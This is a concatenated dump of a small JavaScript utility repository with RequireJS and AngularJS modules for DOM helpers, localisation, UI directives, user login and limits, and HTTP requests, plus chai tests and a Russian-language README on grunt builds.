left: position.left - offset.left, top: position.top - offset.top }; }, getPopupPosition: function(position, element) { var width = element.outerWidth(), height = element.outerHeight(), window = _DOMUtils.window(), windowWidth = window.outerWidth(), windowHeight = window.outerHeight(); return { left: position.left + width < windowWidth ? position.left : position.left - width, top: position.top + height < windowHeight ? position.top : position.top - height }; }, selectOnClick: function($el){ $el.select(); // Work around Chrome's little problem $el.mouseup(function() { $el.unbind("mouseup"); return false; }); }, selectContent: function($el){ var range; if (document.selection) { range = document.body.createTextRange(); range.moveToElementText($el[0]); range.select(); } else if (window.getSelection) { range = document.createRange(); range.selectNode($el[0]); window.getSelection().addRange(range); } }, getCssPosition: function(element){ var pos = element.css(['left', 'top']); $.each(pos, function(p, v) { pos[p] = parseInt(v); }); return pos; } }; // var _HTTPUtils = { getPageBaseUrl: function() { var loc = document.location; return loc.protocol + '//' + loc.host + loc.pathname; } }; // var _HTMLUtils = { ctrlHotKeySymbol: session.browser.os === 'Mac' ? '⌘' : 'Ctrl+', ctrlHotKey: session.browser.os === 'Mac' ? 'Meta+' : 'Ctrl+' }; // Fix Utils $(function() { var isIE = session.browser.browser === 'Explorer', documentMode = document.documentMode; var _$document = _DOMUtils.document(); var _documentInfo = { mouse: { button: { left: false } } }; _$document// .mousedown(function(e){ if (e.which === 1) { _documentInfo.mouse.button.left = true; } })// .mouseup(function(e){ if (e.which === 1) { _documentInfo.mouse.button.left = false; } })// .mousemove(function(e){ __fixMouseButton(e); })// .mouseenter(function(e){ __fixDrag(e); })// .data('_documentInfo', _documentInfo); function __fixMouseButton(e) { if (isIE && documentMode < 9 && !event.button) { _documentInfo.mouse.button.left = false; } if (e.which === 1 && !_documentInfo.mouse.button.left) { e.which = 0; } } function __fixDrag(e) { if (!_documentInfo.mouse.button.left) { _$document.trigger('mouseup'); } } }); // return { Utils: _Utils, StringUtils: _StringUtils, DateUtils: _DateUtils, DOMUtils: _DOMUtils, HTTPUtils: _HTTPUtils, HTMLUtils: _HTMLUtils }; }); <file_sep>// utils test define(function(require) {'use strict'; var chai = require('chai'), assert = chai.assert, expect = chai.expect, should = chai.should(); require('jquery'); // var utils = require('utils'), HTTPUtils = utils.HTTPUtils; // describe('utils test...', function() { describe('HTTP Utils', function() { it('getPageBaseUrl', function(){ var pageBaseUrl = HTTPUtils.getPageBaseUrl(); console.log(pageBaseUrl); }) }) }) }); <file_sep>/** * @module filters * @desc RequireJS/Angular module * @author ankostyuk */ define(function(require, exports, module) {'use strict'; var angular = require('angular'); return angular.module('nkb.filters', []) // .factory('nkbScreenHelper', ['$log', function($log){ var screenPrefics = '#'; var screenHelper = { isScreen: function(text) { return _.startsWith(text, screenPrefics); }, screen: function(text) { if (!text || !_.isString(text)) { return text; } return _.ltrim(text, screenPrefics); }, getScreenPrefics: function() { return screenPrefics; } }; return screenHelper; }]) // .filter('isLastSalesVolume', ['appConfig', function(appConfig){ return function(node){ if (!node) { return null; } return _.has(node, appConfig.meta.lastSalesVolumeField); }; }]) // .filter('lastSalesVolume', ['appConfig', 'nkbScreenHelper', function(appConfig, nkbScreenHelper){ return function(node){ if (!node) { return null; } var value = node[appConfig.meta.lastSalesVolumeField]; if (nkbScreenHelper.isScreen(value)) { return value; } return value / appConfig.meta.currencyOrder; }; }]) // .filter('isBalance', [function(){ return function(node){ return node && node['balance']; }; }]) // .filter('balance', [function(){ return function(node){ if (!node) { return null; } var value = node['balance']; if (!value) { return null; } var years = _.isArray(value) ? _.clone(value) : [value]; years.reverse(); var formYear = node['balance_forms_' + _.last(years)]; var forms = _.isArray(formYear) ? formYear : [formYear]; return years.join(', ') + ' [' + forms.join(', ') + ']'; }; }]) // .filter('balanceForms', [function(){ return function(node){ if (!node) { return null; } var value = node['balance']; if (!value) { return null; } var years = _.isArray(value) ? _.clone(value) : [value], formYear = node['balance_forms_' + _.first(years)], forms = _.isArray(formYear) ? formYear : [formYear]; return forms.join(', '); }; }]) // .filter('balanceByPeriod', [function(){ return function(node){ if (!node) { return null; } var value = node['balance']; if (!value) { return null; } var years = _.isArray(value) ? _.clone(value) : [value]; years.reverse(); var prevYear = years[0], yearsByPeriod = [[prevYear]], p = 0, str = '', year, i; for (i = 1; i < years.length; i++) { year = years[i]; if (year - prevYear === 1) { yearsByPeriod[p][1] = year; } else { yearsByPeriod[++p] = [year]; } prevYear = year; } for (i = 0; i < yearsByPeriod.length; i++) { str += yearsByPeriod[i].join('—') + (i < yearsByPeriod.length - 1 ? ', ' : ''); } return str; }; }]) // .filter('OKVED', [function(){ return function(node){ if (!node) { return null; } var okved = node['okvedcode_bal'] || node['okvedcode_main'], okvedText = node['okved_bal_text'] || node['okved_main_text']; if (!okved || !okvedText) { return null; } var okvedCode = _.chop(okved, 2).join('.'); return okvedCode + ' ' + okvedText; }; }]) // .filter('isScreen', ['nkbScreenHelper', function(nkbScreenHelper){ return nkbScreenHelper.isScreen; }]) // .filter('screen', ['nkbScreenHelper', function(nkbScreenHelper){ return nkbScreenHelper.screen; }]) // .filter('externalUrl', ['$log', '$window', 'nkbUserConfig', function($log, $window, nkbUserConfig){ var resourceConfig = nkbUserConfig.resource || {}; return function(url){ var externalUrl = resourceConfig['external.url'] + '?url=' + $window.encodeURIComponent(url); return externalUrl; }; }]); // }); <file_sep>/** * @module l10n * @desc RequireJS/Angular module * @author ankostyuk */ define(function(require, exports, module) {'use strict'; var moduleConfig = module.config(); require('jquery'); require('jquery.cookie'); var i18n = require('i18n'), purl = require('purl'), angular = require('angular'); // var requireDeferred = $.Deferred(), requirePromise = requireDeferred.promise(); i18n.setConfig(moduleConfig['i18n-component']); function setLocale(lang) { var bundles = [], locale = false; // dynamic require bundles require(moduleConfig.bundles, function(){ angular.forEach(arguments, function(bundle){ bundles.push(angular.fromJson(bundle)); }); check(); }); // dynamic require angular-locale_<lang> require(['text!angular-locale_' + lang + '.js'], function(localeScript){ eval(localeScript); locale = true; check(); }); function check() { if (bundles.length === moduleConfig.bundles.length && locale) { i18n.setBundle(bundles); i18n.setLang(currentLang); $('body').addClass('lang-' + currentLang); requireDeferred.resolve(); } } } // var config = moduleConfig.lang || {}, langParam = 'lang', currentLang; function resolveLang() { currentLang = getLangFromUrl() || getLangFromCookies() || config.defaultLang; } function getLangFromUrl() { var params = purl().param(), lang = params[langParam]; if (!lang) { return null; } setLangToCookies(lang); return lang; } function urlWithLang(url, lang) { lang = lang || currentLang; var u = purl(url), params = u.param(), si = url.indexOf('?'), res = si > 0 ? url.substring(0, si) : url; params[langParam] = lang; res += '?' + $.param(params); return res; } function getLangFromCookies() { return $.cookie(langParam); } function setLangToCookies(lang) { $.cookie(langParam, lang, { path: '/', expires: 365 * 10 }); } function applyLang() { setLocale(currentLang); } resolveLang(); applyLang(); return { i18n: i18n, initPromise: requirePromise, getLang: function() { return currentLang; }, currentUrlWithLang: function(lang) { return urlWithLang($location.absUrl(), lang); }, urlWithLang: urlWithLang }; }); <file_sep>// define(function(require) {'use strict'; require('less!./styles'); }); <file_sep>/** * @module np.directives * @desc RequireJS/Angular module * @author ankostyuk */ define(function(require, exports, module) {'use strict'; require('less!./styles/directives'); var template = require('text!./views/directives.html'), templateData, viewTemplates; require('lodash'); require('jquery'); var i18n = require('i18n'), angular = require('angular'), templateUtils = require('template-utils'); // function fadeout(element, opacity, duration) { // TODO заменить на CSS element.stop(true, true).animate({ opacity: opacity }, { queue: false, duration: duration, done: function(){ if (opacity === 0) { element.hide(); } } }); } function fadein(element, opacity, duration) { // TODO заменить на CSS element.stop(true, true).fadeTo(0, 0).show().animate({ opacity: opacity }, { queue: false, duration: duration }); } // return angular.module('np.directives', []) // .run([function(){ templateData = templateUtils.processTemplate(template); viewTemplates = templateData.templates; }]) // // https://github.com/newpointer/commons-js/issues/2 // Pluralize с форматированием attr.count фильтром number // Код ngPluralizeDirective AngularJS v1.3.13, отличия: // // Line #24023... // - braceReplacement = startSymbol + numberExp + '-' + offset + endSymbol, // + braceReplacement = startSymbol + '(' + numberExp + '-' + offset + ')|number' + endSymbol, // // Поддержка атрибута plural для динамического контроля свойств pluralize... // plural = { // count: <string expression>, // when: <string>, // [offset: <number>] // } // // Поддержка собственных ключей для pluralize... // plural = { // count: <null | string | ... !undefined>, // ... // } // .directive('npPluralize', ['$locale', '$interpolate', function($locale, $interpolate){ var BRACE = /{}/g, IS_WHEN = /^when(Minus)?(.+)$/; return { restrict: 'EA', link: function(scope, element, attr) { var numberExp = attr.count, whenExp = attr.$attr.when && element.attr(attr.$attr.when), // we have {{}} in attrs offset = attr.offset || 0, whens = scope.$eval(whenExp) || {}, whensExpFns = {}, startSymbol = $interpolate.startSymbol(), endSymbol = $interpolate.endSymbol(), braceReplacement = startSymbol + '(' + numberExp + '-' + offset + ')|number' + endSymbol, watchRemover = angular.noop, lastCount; // <<< Код поддержки атрибута plural var pluralExp = attr.plural; if (pluralExp) { scope.$watch(pluralExp, function npPluralizeWatchAction(plural) { offset = plural.offset || 0; braceReplacement = startSymbol + '(' + plural.count + '-' + offset + ')|number' + endSymbol; whens = scope.$eval(plural.when) || {}; whensExpFns = {}; angular.forEach(whens, function(expression, key) { whensExpFns[key] = $interpolate(expression.replace(BRACE, braceReplacement)); }); var count = parseFloat(plural.count); var countIsNaN = isNaN(count); if (!countIsNaN && !(count in whens)) { // If an explicit number rule such as 1, 2, 3... is defined, just use it. // Otherwise, check it against pluralization rules in $locale service. count = $locale.pluralCat(count - offset); } count = countIsNaN ? (angular.isUndefined(plural.count) ? null : '' + plural.count) : count; if (count) { var expression = whensExpFns[count] && whensExpFns[count].exp; if (!expression) { throw new Error('No <when expression> in ' + plural.when + ' for count = ' + count + ', plural.count = ' + plural.count); } var text = $interpolate(whensExpFns[count].exp)(scope); updateElementText(text); } }); return; } // >>> angular.forEach(attr, function(expression, attributeName) { var tmpMatch = IS_WHEN.exec(attributeName); if (tmpMatch) { var whenKey = (tmpMatch[1] ? '-' : '') + lowercase(tmpMatch[2]); whens[whenKey] = element.attr(attr.$attr[attributeName]); } }); angular.forEach(whens, function(expression, key) { whensExpFns[key] = $interpolate(expression.replace(BRACE, braceReplacement)); }); scope.$watch(numberExp, function ngPluralizeWatchAction(newVal) { var count = parseFloat(newVal); var countIsNaN = isNaN(count); if (!countIsNaN && !(count in whens)) { // If an explicit number rule such as 1, 2, 3... is defined, just use it. // Otherwise, check it against pluralization rules in $locale service. count = $locale.pluralCat(count - offset); } // If both `count` and `lastCount` are NaN, we don't need to re-register a watch. // In JS `NaN !== NaN`, so we have to exlicitly check. if ((count !== lastCount) && !(countIsNaN && isNaN(lastCount))) { watchRemover(); watchRemover = scope.$watch(whensExpFns[count], updateElementText); lastCount = count; } }); function updateElementText(newText) { element.text(newText || ''); } } }; }]) // .directive('npFadeout', [function(){ return function(scope, element, attrs){ var o = parseFloat(attrs['npFadeoutOpacity']) || 0, d = parseInt(attrs['npFadeoutDuration']) || 100; scope.$watch(attrs['npFadeout'], function(newVal, oldVal){ if (newVal) { fadeout(element, o, d); } }); }; }]) // .directive('npFadein', [function(){ return function(scope, element, attrs){ var o = parseFloat(attrs['npFadeinOpacity']) || 1, d = parseInt(attrs['npFadeinDuration']) || 100; scope.$watch(attrs['npFadein'], function(newVal, oldVal){ if (newVal) { fadein(element, o, d); } }); }; }]) // .directive('npLoader', ['$log', function($log){ return { restrict: 'A', scope: { proxy: '=npLoader', type: '=npLoaderType' }, template: '<div></div>', link: function(scope, element, attrs) { element.hide().find('> div').addClass(scope.type); if (!_.isObject(scope.proxy)) { throw new Error('npLoader attribute must be object'); } var fade = _.toBoolean(attrs['fade']) || false, fadeOpacity = parseFloat(attrs['fadeOpacity']) || 0.75, fadeDuration = parseInt(attrs['fadeDuration']) || 250; _.extend(scope.proxy, { show: function() { if (fade) { fadein(element, fadeOpacity, fadeDuration); } else { element.show(); } }, hide: function() { if (fade) { fadeout(element, 0, fadeDuration); } else { element.hide(); } } }); } }; }]) // .directive('npMessage', ['$log', '$sce', function($log, $sce){ return { restrict: 'A', scope: { proxy: '=npMessage' }, template: viewTemplates['message'].html, link: function(scope, element, attrs) { element.hide(); if (!_.isObject(scope.proxy)) { throw new Error('npMessage attribute must be object'); } var fade = _.toBoolean(attrs['fade']) || false, fadeOpacity = parseFloat(attrs['fadeOpacity']) || 0.75, fadeDuration = parseInt(attrs['fadeDuration']) || 250; _.extend(scope.proxy, { setMessageHtml: function(messageHtml) { scope.messageHtml = $sce.trustAsHtml(messageHtml); }, show: function() { if (fade) { fadein(element, fadeOpacity, fadeDuration); } else { element.show(); } }, hide: function() { if (fade) { fadeout(element, 0, fadeDuration); } else { element.hide(); } } }); _.extend(scope, { off: function() { scope.proxy.hide(); } }); } }; }]) // .directive('npInlineEdit', ['$log', '$timeout', function($log, $timeout){ return { restrict: 'A', scope: { model: '=npInlineEdit', proxy: '=proxy', data: '=data' }, template: viewTemplates['inline-edit'].html, link: function(scope, element, attrs) { // var saveText = attrs['saveText'] || '', cancelText = attrs['cancelText'] || '', changeText = attrs['changeText'] || '', inputElement = element.find('.inline-edit-input input'); element.find('.inline-edit-input .btn.save').attr('title', saveText); element.find('.inline-edit-input .btn.cancel').attr('title', cancelText); element.find('.inline-edit-on a').attr('title', changeText); // inputElement.keyup(function(e){ // esc if (e.keyCode === 27) { scope.$apply(function(){ scope.off(); }); } else // enter if (e.keyCode === 13) { scope.$apply(function(){ scope.edit(); }); } }); // _.extend(scope, { active: false, on: function() { if (!scope.active) { initText(); scope.active = true; element.addClass('active'); } $timeout(function(){ inputElement.focus(); }); }, off: function() { if (!scope.active) { return; } scope.active = false; element.removeClass('active'); }, edit: function() { scope.off(); if (scope.newText === scope.oldText) { return; } if (_.isFunction(scope.proxy.onEdit)) { scope.proxy.onEdit(scope.newText, scope.oldText, scope.data); } } }); _.extend(scope.proxy, { on: function() { scope.on(); }, off: function() { scope.off(); } }); function initText() { var text = '' + scope.model; scope.oldText = text; scope.newText = text; } } }; }]) // .directive('npInlineConfirm', ['$log', function($log){ return { restrict: 'A', scope: false, link: function(scope, element, attrs) { var confirmText = attrs['confirmText']; var confirmElement = $('<span>', { html: viewTemplates['inline-confirm'].html }); confirmElement.find('.inline-confirm-text').text(confirmText); var confirmExp = attrs['npInlineConfirm'], confirmHTML = confirmElement.html(), originalHTML = element.html(), confirm = true; element .click(function(){ doConfirm(); }) .blur(function(){ reset(); }); function setConfirmHTML() { element.html(confirmHTML); } function setOriginalHTML() { element.html(originalHTML); } function doConfirm() { if (confirm) { setConfirmHTML(); } else { setOriginalHTML(); scope.$eval(confirmExp); } confirm = !confirm; } function reset() { if (confirm) { return; } setOriginalHTML(); confirm = true; } } }; }]); // }); <file_sep>/** * @module main.js * @desc RequireJS lodash package main module * @author ankostyuk */ define(function(require) {'use strict'; // var _ = require('./lodash'), _s = require('./underscore.string'); // lodash settings _.templateSettings = { evaluate: /\{%([\s\S]+?)%\}/g, interpolate: /\{%=([\s\S]+?)%\}/g, escape: /\{%-([\s\S]+?)%\}/g }; // lodash + underscore.string _.mixin(_s.exports()); return _; }); <file_sep># nullpointer-commons-js > Утилиты для клиентского JS ## Окружение * node.js 0.10.x+ * npm 1.3.x+ * grunt-cli `npm install grunt-cli -g` * bower `npm install bower -g` ## Инициализация Установка зависимостей проекта, зависимостей модуля npm install grunt init ## Сборка Установка зависимостей модуля, проверка кода, тесты grunt build ## Проверка кода grunt jshint ## Запуск тестов grunt test ## Дистрибутив Установка зависимостей модуля, проверка кода, тесты, копирование дистрибутива в корень проекта, документация grunt dist ## Очистка Удаление зависимостей модуля, зависимостей проекта, документации grunt clean <file_sep>/** * @module l10n * @desc RequireJS/Angular module * @author ankostyuk */ define(function(require, exports, module) {'use strict'; var l10n = require('./l10n'), angular = require('angular'); return angular.module('np.l10n', []) // .factory('npL10n', ['$log', '$location', '$rootScope', function($log, $location, $rootScope){ // angular.extend($rootScope, l10n.i18n.translateFuncs); // API return { l10n: function() { return { getLang: function() { return l10n.getLang(); }, currentUrlWithLang: function(lang) { return l10n.urlWithLang($location.absUrl(), lang); }, urlWithLang: l10n.urlWithLang }; } }; }]); // }); <file_sep>// define(function(require) {'use strict'; require('css!./nkbrelation-icon-font/style'); require('css!./icons'); }); <file_sep>/** * @module user * @desc RequireJS/Angular module * @author ankostyuk */ define(function(require) {'use strict'; require('jquery'); require('lodash'); var angular = require('angular'); require('np.resource'); return angular.module('nkb.user', ['np.resource']) // .provider('nkbUser', function(){ var _polling = true, // Опрашивать user limits при старте модуля и периодически с pollingInterval _pollingInterval = 60000; // 1 минута return { setPolling: function(polling) { _polling = polling; }, setPollingInterval: function(pollingInterval) { _pollingInterval = pollingInterval; }, // $get: ['$log', '$rootScope', '$interval', '$q', 'npResource', 'nkbUserConfig', function($log, $rootScope, $interval, $q, npResource, nkbUserConfig){ var resourceConfig = nkbUserConfig.resource || {}; // var initDefer = $q.defer(); var user, userRequest, loginRequest, logoutRequest; function applyUser(u) { var change = { first: !isFetch(), login: getUserId(user) !== getUserId(u) }; user = u; if (isFetch) { initDefer.resolve(); } $rootScope.$emit('nkb-user-apply', change); } function isFetch() { return user !== undefined; } function getUserId(u) { return u ? u.userId : null; } // function userLimitsResource(options) { return npResource.request({ method: 'GET', url: resourceConfig['users.url'] + '/me/limits' }, null, options); } function loginResource(options) { return npResource.request({ method: 'POST', url: resourceConfig['login.url'], headers: {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data: $.param(options.loginData) }, null, options); } function logoutResource(options) { return npResource.request({ method: 'GET', url: resourceConfig['logout.url'] }, null, options); } // function fetchUser() { userRequest = userLimitsResource({ previousRequest: userRequest, success: function(data) { applyUser(data); }, error: function(data, status) { // status = 0 -- при принудительной отмене запросов if (status !== 0) { applyUser(null); } } }); return userRequest; } function login(loginData, success, error) { if (logoutRequest) { logoutRequest.abort(); } loginRequest = loginResource({ loginData: loginData, previousRequest: loginRequest, success: function(data){ if (data.error) { error(data); } else { fetchUser().promise.then( function(){ success(); }, function(){ error(null); } ); } }, error: function(){ error(null); } }); } function logout(success, error) { if (userRequest) { userRequest.abort(); } if (loginRequest) { loginRequest.abort(); } logoutRequest = logoutResource({ previousRequest: logoutRequest, success: function(){ applyUser(null); success(); }, error: error }); } function polling() { fetchUser(); $interval(function(){ if (userRequest && userRequest.isComplete()) { fetchUser(); } }, _pollingInterval); } // if (_polling) { polling(); } // API return { user: function() { return { isFetch: isFetch, isAuthenticated: function() { return !!user; }, getId: function() { return user && user.userId; }, getName: function() { return user && user.userName; }, getLogin: function() { return user && user.userLogin; }, getBalance: function() { return user && user.balance; }, getProductLimitsInfo: function(productName) { var me = this; if (!me.isAuthenticated()) { return null; } return user.limits[productName]; }, isProductAvailable: function(productName) { var me = this; if (!me.isAuthenticated()) { return false; } var productLimitsInfo = me.getProductLimitsInfo(productName); if (!productLimitsInfo) { return false; } if (productLimitsInfo['unlimited'] || productLimitsInfo['amount'] > 0 || productLimitsInfo['price'] <= user.balance) { return true; } return false; } }; }, initPromise: function() { return initDefer.promise; }, fetchUser: function() { return fetchUser().promise; }, login: login, logout: logout }; }] }; }); // }); <file_sep>/** * @module resource * @desc Angular module * @author ankostyuk */ angular.module('np.resource', []) // .factory('npResource', ['$log', '$q', '$http', function($log, $q, $http){ // API return { request: function(httpConfig, requestConfig, options) { requestConfig = requestConfig || {}; options = options || {}; if (options.previousRequest) { options.previousRequest.abort(); } var canceler = $q.defer(), completer = $q.defer(), complete = false; var promise = $http(_.extend({ timeout: canceler.promise }, httpConfig)); promise .success(function(data, status){ if (_.isFunction(requestConfig.responseProcess)) { data = requestConfig.responseProcess(data, status); } if (_.isFunction(options.success)) { options.success(data, status); } }) .error(function(data, status){ if (_.isFunction(options.error)) { options.error(data, status); } }) ['finally'](function(){ complete = true; completer.resolve(); }); return { promise: promise, completePromise: completer.promise, abort: function(){ canceler.resolve(); }, isComplete: function(){ return complete; } }; } }; }]); <file_sep>// lodash test define(function(require) {'use strict'; var chai = require('chai'), assert = chai.assert, expect = chai.expect, should = chai.should(); // require('lodash'); // describe('lodash test...', function() { it('global _', function(){ assert.isFunction(_); console.log('lodash version:', _.VERSION); assert.isString(_.VERSION); assert.ok(_.VERSION); }) }) // describe('default package settings...', function() { it('templateSettings', function(){ assert.deepEqual(_.templateSettings, { evaluate: /\{%([\s\S]+?)%\}/g, interpolate: /\{%=([\s\S]+?)%\}/g, escape: /\{%-([\s\S]+?)%\}/g }); }) }) // describe('lodash + underscore.string test...', function() { it('mixin', function(){ // prune assert.strictEqual(_.prune('Hello, world', 5), 'Hello...'); // sprintf assert.strictEqual(_.sprintf('%.1f', 1.17), '1.2'); // toSentence assert.strictEqual(_.toSentence(['jQuery', 'Mootools', 'Prototype']), 'jQuery, Mootools and Prototype'); // words assert.deepEqual(_.words('I-love-you', /-/), ['I', 'love', 'you']); }) }) });
06eda1b7ac6f1e78f00a8073b7bfa8b1761f36d9
[ "JavaScript", "Markdown" ]
15
JavaScript
newpointer/commons-js
af64aa1020a5dc9db9338e35f1c6f884c05e5e39
d02fbb7c82d122498062104e171959a6ffc09bbe